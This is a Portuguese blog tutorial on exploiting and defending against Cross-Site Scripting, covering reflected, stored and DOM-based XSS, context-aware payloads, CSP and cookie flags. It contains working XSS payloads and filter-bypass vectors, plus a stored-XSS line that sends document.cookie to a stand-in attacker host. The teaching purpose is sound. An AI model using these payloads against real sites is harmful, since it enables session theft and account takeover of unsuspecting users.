Pular para o conteúdo
Categoria: Pentest & Hacking Ético13 min de leitura

'XSS na prática: explorando Cross-Site Scripting eticamente'

Por Schematize Blog ·

Demonstração ética de como o Cross-Site Scripting é explorado, os tipos refletido, armazenado e DOM, e por que a sanitização correta é a defesa essencial.

Cross-Site Scripting (XSS) é a falha que permite injetar JavaScript malicioso numa página confiável, executado no navegador de outras vítimas. É uma das vulnerabilidades web mais comuns e mal compreendidas. Neste guia, vamos explorá-la na prática — sempre em laboratório autorizado — para entender o impacto e por que a sanitização é indispensável.

A meta é didática: ao ver como o XSS funciona por dentro, você aprende a detectá-lo e corrigi-lo. Se quiser revisar a fundação conceitual antes, leia O que é XSS (Cross-Site Scripting)?. Aqui, o foco é a exploração dentro da Metodologia de pentest: as fases de um teste de invasão.

Aviso ético

Executar XSS contra usuários reais sem autorização é crime e causa dano a pessoas. Pratique apenas em:

    Cada payload deste artigo serve para compreensão e correção, não para ataque.

    O que é XSS, em uma frase

    XSS ocorre quando uma aplicação reflete ou armazena entrada do usuário sem tratá-la, e o navegador a interpreta como código. O navegador confia no script porque ele veio do domínio legítimo — e é justamente essa confiança que o ataque sequestra.

    O guia de testes da OWASP trata o XSS como um dos vetores de injeção mais frequentes em aplicações web, exigindo testes sistemáticos de cada ponto de entrada (OWASP Foundation, 2020).

    Por que o navegador "cai" no golpe

    Para entender o XSS, é preciso entender a Same-Origin Policy, a regra que isola sites uns dos outros no navegador. Um script de banco.com pode ler os cookies e o DOM de banco.com, mas não os de outrosite.com. Essa fronteira é o que mantém a web segura. O XSS é tão perigoso justamente porque viola essa regra por dentro: o script malicioso é executado como se fosse da própria origem, então ele herda todas as permissões de um script legítimo daquele domínio — acesso a cookies, ao armazenamento local e à sessão da vítima. Não há sandbox; para o navegador, é código de casa.

    Os três tipos de XSS

    A exploração depende de qual tipo você enfrenta.

    XSS Refletido

    O payload viaja na requisição (em geral por um parâmetro de URL) e é refletido na resposta imediatamente. Não é persistente: depende de fazer a vítima clicar num link preparado.

    https://busca.exemplo.com/?q=<script>alert(document.cookie)</script>

    Se o termo de busca é exibido sem tratamento, o script roda no navegador de quem abrir o link.

    Por depender de engenharia social — convencer a vítima a clicar —, o XSS refletido costuma chegar via e-mail de phishing, mensagem ou link encurtado que disfarça o payload. O atacante explora a confiança da vítima no domínio legítimo: o link aponta de fato para o site real, então passa por verificações superficiais.

    XSS Armazenado

    Aqui o payload é salvo no servidor (num comentário, perfil ou mensagem) e servido a todos que visualizam aquela página. É o mais perigoso, pois não exige enganar a vítima individualmente — basta ela visitar a página infectada.

    <!-- Enviado como comentário e persistido no banco -->
    <script>fetch('https://atacante.exemplo/c?x='+document.cookie)</script>

    O alcance é o que assusta: um único comentário malicioso numa página popular atinge todos os visitantes, incluindo administradores. Há casos históricos de "worms" de XSS armazenado em redes sociais, onde o payload, ao executar no perfil de uma vítima, se replicava automaticamente para os contatos dela — propagando-se de forma exponencial sem nenhuma ação adicional do atacante.

    XSS baseado em DOM

    O payload nunca chega ao servidor: a vulnerabilidade está no JavaScript do cliente, que manipula o DOM com dados não confiáveis (por exemplo, lendo location.hash e injetando no HTML).

    // Código cliente vulnerável
    document.getElementById('saudacao').innerHTML = location.hash.substring(1);
    https://app.exemplo.com/#<img src=x onerror=alert(1)>

    O XSS de DOM é particularmente sorrateiro porque a defesa do servidor não ajuda: como o payload pode viver inteiramente no fragmento da URL (depois do #), que o navegador nunca envia ao servidor, nenhum filtro do lado servidor o vê passar. A falha mora no fluxo de dados dentro do JavaScript do cliente — de uma source (uma fonte controlável pelo usuário, como location.hash) até uma sink perigosa (como innerHTML ou eval). Encontrá-lo exige ler o código JavaScript do front, não apenas observar requisições.

    Anatomia de um payload

    Antes de testar, vale entender por que payloads tão diferentes funcionam. O exemplo <script>alert(1)</script> é o mais óbvio, mas raramente o mais útil em testes reais, porque muitas aplicações filtram a tag <script> ou ela não executa quando inserida via innerHTML. Os payloads mais robustos exploram manipuladores de eventos:

    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <body onpageshow=alert(1)>

    A lógica do <img src=x onerror=...> é elegante: a imagem x não existe, o carregamento falha, e o navegador dispara o evento onerror — executando o JavaScript ali colocado. Esses vetores funcionam mesmo onde <script> é bloqueado, porque dependem de atributos de eventos em tags comuns. Conhecer essa variedade é o que permite contornar filtros ingênuos durante um teste autorizado.

    Passo 1: detectar o ponto de injeção

    A detecção começa testando cada entrada que se reflete na página: campos de busca, parâmetros de URL, formulários, cabeçalhos. Um payload de teste simples ajuda a ver se há filtragem:

    <script>alert(1)</script>
    "><img src=x onerror=alert(1)>
    '><svg onload=alert(1)>

    Observe a resposta: se as tags aparecem íntegras no código-fonte (sem escapar < para &lt;), há forte indício de XSS. Um proxy acelera muito esse trabalho de variar payloads e inspecionar respostas, como mostramos em Burp Suite: o canivete suíço do pentester web.

    A importância do contexto de reflexão

    Detectar reflexão é só metade do trabalho; você precisa saber onde o dado cai na página, porque isso determina qual payload funciona. O mesmo input pode ser refletido em contextos diferentes:

      Refletido em value="..."  →  payload: "><svg onload=alert(1)>
      Refletido em <script>     →  payload: ';alert(1)//

      Esse é o erro mais comum de iniciantes: usar sempre o mesmo <script>alert(1)</script> e concluir que "não tem XSS" quando, na verdade, o input estava num contexto que exigia um escape diferente. Ler o HTML retornado e identificar o contexto exato é o que separa a detecção superficial da real.

      Passo 2: confirmar a execução

      Detectar reflexão não basta; é preciso confirmar que o navegador executa o script. O clássico alert(1) serve de prova de conceito porque é visível e inofensivo. Em testes mais elaborados, usa-se algo que comprove acesso ao contexto da página:

      <script>alert(document.domain)</script>

      Se um pop-up exibe o domínio do alvo, está provado: código arbitrário roda no contexto da aplicação. Esse é o ponto que vai para o relatório como evidência.

      Usar document.domain em vez de alert(1) é uma sutileza importante em relatórios profissionais: ele prova que o script executou no contexto do domínio alvo, e não numa página qualquer. Em ambientes com iframes ou múltiplos domínios, essa distinção evita falsos positivos e demonstra de forma inequívoca o impacto. Para a documentação, capture a tela do pop-up junto com a URL e o payload exato usado — evidência reproduzível é o que dá credibilidade ao achado.

      Passo 3: entender o impacto

      Por que alert(1) importa tanto? Porque representa qualquer JavaScript. Com XSS, um atacante real poderia:

        Esse alcance coloca o XSS entre as falhas de alto impacto, alimentando a priorização discutida em Exploração de vulnerabilidades: do CVE ao exploit.

        O papel do flag HttpOnly

        Um detalhe que muda o impacto: cookies marcados como HttpOnly não são acessíveis via document.cookie. Isso significa que o roubo direto do cookie de sessão por XSS é bloqueado quando esse flag está ativo — uma mitigação importante. Mas seria um erro concluir que HttpOnly "resolve" o XSS. O atacante ainda pode realizar qualquer ação dentro da sessão da vítima fazendo requisições autenticadas a partir do próprio script injetado, já que o navegador anexa o cookie automaticamente. Roubar o cookie é só um dos caminhos; com XSS, o atacante já está dentro.

        Como o XSS se relaciona com outras falhas

        XSS e injeção compartilham a mesma raiz: confiança indevida na entrada do usuário. Quem mistura dados e código na consulta abre Explorando SQL Injection na prática (ético); quem reflete dados sem tratar no HTML abre XSS. O Manual do Web Application Hacker agrupa essas falhas como variações do mesmo problema de validação de entrada e codificação de saída (Stuttard & Pinto, 2011).

        Vale também distinguir XSS de uma falha frequentemente confundida com ele: o CSRF (Cross-Site Request Forgery). No CSRF, o atacante engana o navegador da vítima para enviar uma requisição autenticada sem que ela perceba, mas não executa código no contexto do alvo. O XSS é mais poderoso: ele executa JavaScript arbitrário dentro da origem, o que permite, inclusive, derrotar proteções anti-CSRF (lendo o token diretamente do DOM). Por isso o XSS costuma ser considerado a falha mais grave das duas.

        Outra distinção útil é entre XSS server-side e client-side. Os tipos refletido e armazenado são tradicionalmente server-side: o servidor monta uma resposta HTML contaminada. O XSS de DOM é puramente client-side: o servidor entrega uma página limpa, e a contaminação acontece no navegador, quando o JavaScript processa um dado controlável. Essa diferença muda completamente onde você procura a falha e onde aplica a correção — no template do servidor versus no código do front. Ignorar a vertente client-side é uma das razões pelas quais aplicações modernas de página única (SPAs), pesadas em JavaScript, continuam vulneráveis mesmo com o servidor bem protegido.

        A defesa: codificação de saída e sanitização

        A correção do XSS está na saída, não só na entrada. A regra de ouro:

          // Inseguro
          elemento.innerHTML = entradaUsuario;
          
          // Seguro — trata como texto, não como HTML
          elemento.textContent = entradaUsuario;

          O guia da OWASP recomenda combinar codificação de saída contextual, validação de entrada e CSP como defesa em camadas (OWASP Foundation, 2020).

          Por que a codificação tem que ser sensível ao contexto

          Um ponto que muita gente erra: não existe "uma" codificação que sirva para tudo. Escapar para HTML não protege quando o dado cai dentro de um atributo href (onde javascript: ainda funciona) nem dentro de um bloco <script> (onde as regras de escape são as do JavaScript). Aplicar a codificação errada para o contexto dá uma falsa sensação de segurança. Por isso a recomendação é confiar nos mecanismos de auto-escape do seu framework, que conhecem o contexto, em vez de tentar escapar manualmente.

          CSP como rede de segurança

          A Content Security Policy é uma defesa em profundidade: mesmo que um XSS escape pelas outras camadas, uma CSP bem configurada pode impedir que o script execute. Um cabeçalho como Content-Security-Policy: script-src 'self' bloqueia scripts inline e de origens externas, derrubando a maioria dos payloads de XSS.

          Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

          A CSP não substitui a codificação de saída — ela é a segunda linha, não a primeira. Evite 'unsafe-inline', que anula boa parte do benefício, e prefira nonces ou hashes para os scripts legítimos que precisam ser inline.

          Atributos de cookie que reduzem o estrago

          Além de HttpOnly, dois atributos de cookie compõem a defesa em profundidade. O Secure garante que o cookie só trafegue por HTTPS, evitando interceptação em trânsito. O SameSite limita o envio do cookie em requisições vindas de outros sites, mitigando o encadeamento de XSS com CSRF. Nenhum deles corrige o XSS em si, mas todos reduzem o que um atacante consegue fazer depois de explorá-lo — e configurar os três corretamente é parte do checklist de hardening que todo pentester verifica ao reportar uma falha de injeção.

          Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

          Erros comuns ao corrigir XSS

            Perguntas frequentes

            Validar a entrada não é suficiente para previnir XSS? Não como única defesa. Validação de entrada ajuda, mas a correção definitiva é a codificação de saída sensível ao contexto, porque o mesmo dado pode ser seguro num lugar e perigoso em outro. Combine as duas com CSP.

            Frameworks modernos como React e Angular eliminam o XSS? Reduzem muito, porque escapam a saída por padrão. Mas não eliminam: APIs como dangerouslySetInnerHTML no React ou bypassSecurityTrustHtml no Angular reabrem o risco, e o XSS de DOM continua possível se você manipular o DOM manualmente.

            Qual a diferença prática entre XSS refletido e armazenado para o pentester? O refletido exige entregar um link à vítima (engenharia social); o armazenado dispara sozinho a cada visita à página infectada, atingindo mais gente e exigindo correção mais urgente. Na priorização do relatório, o armazenado costuma ter severidade maior.

            HttpOnly no cookie resolve o problema? Apenas mitiga o roubo direto do cookie. O atacante ainda pode agir dentro da sessão da vítima a partir do script injetado. Trate HttpOnly como uma camada útil, não como correção do XSS.

            Como reporto um XSS de forma responsável? Documente o payload exato, a URL, o contexto de reflexão e uma captura de tela da execução (idealmente com document.domain). Descreva o impacto concreto e a correção recomendada. Faça tudo dentro do escopo autorizado do teste ou do programa de bug bounty.

            Conclusão

            Explorar XSS de forma ética revela como uma falha aparentemente simples sequestra a confiança entre site e navegador. Vimos os três tipos — refletido, armazenado e DOM —, a anatomia dos payloads, como detectar pontos de injeção respeitando o contexto de reflexão, confirmar a execução e dimensionar o impacto real, inclusive a nuance do flag HttpOnly.

            Mais importante, vimos que a defesa está na codificação de saída sensível ao contexto, na sanitização com bibliotecas testadas e na CSP como rede de segurança em profundidade. O pentester demonstra o problema para que ele seja corrigido; pratique sempre em ambientes autorizados e use o conhecimento para construir aplicações mais seguras.

            Referências

              Leituras relacionadas

              Nenhum comentário ainda

              Seja o primeiro a comentar.

              Deixe seu comentário

              Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

              Entrar com Canverly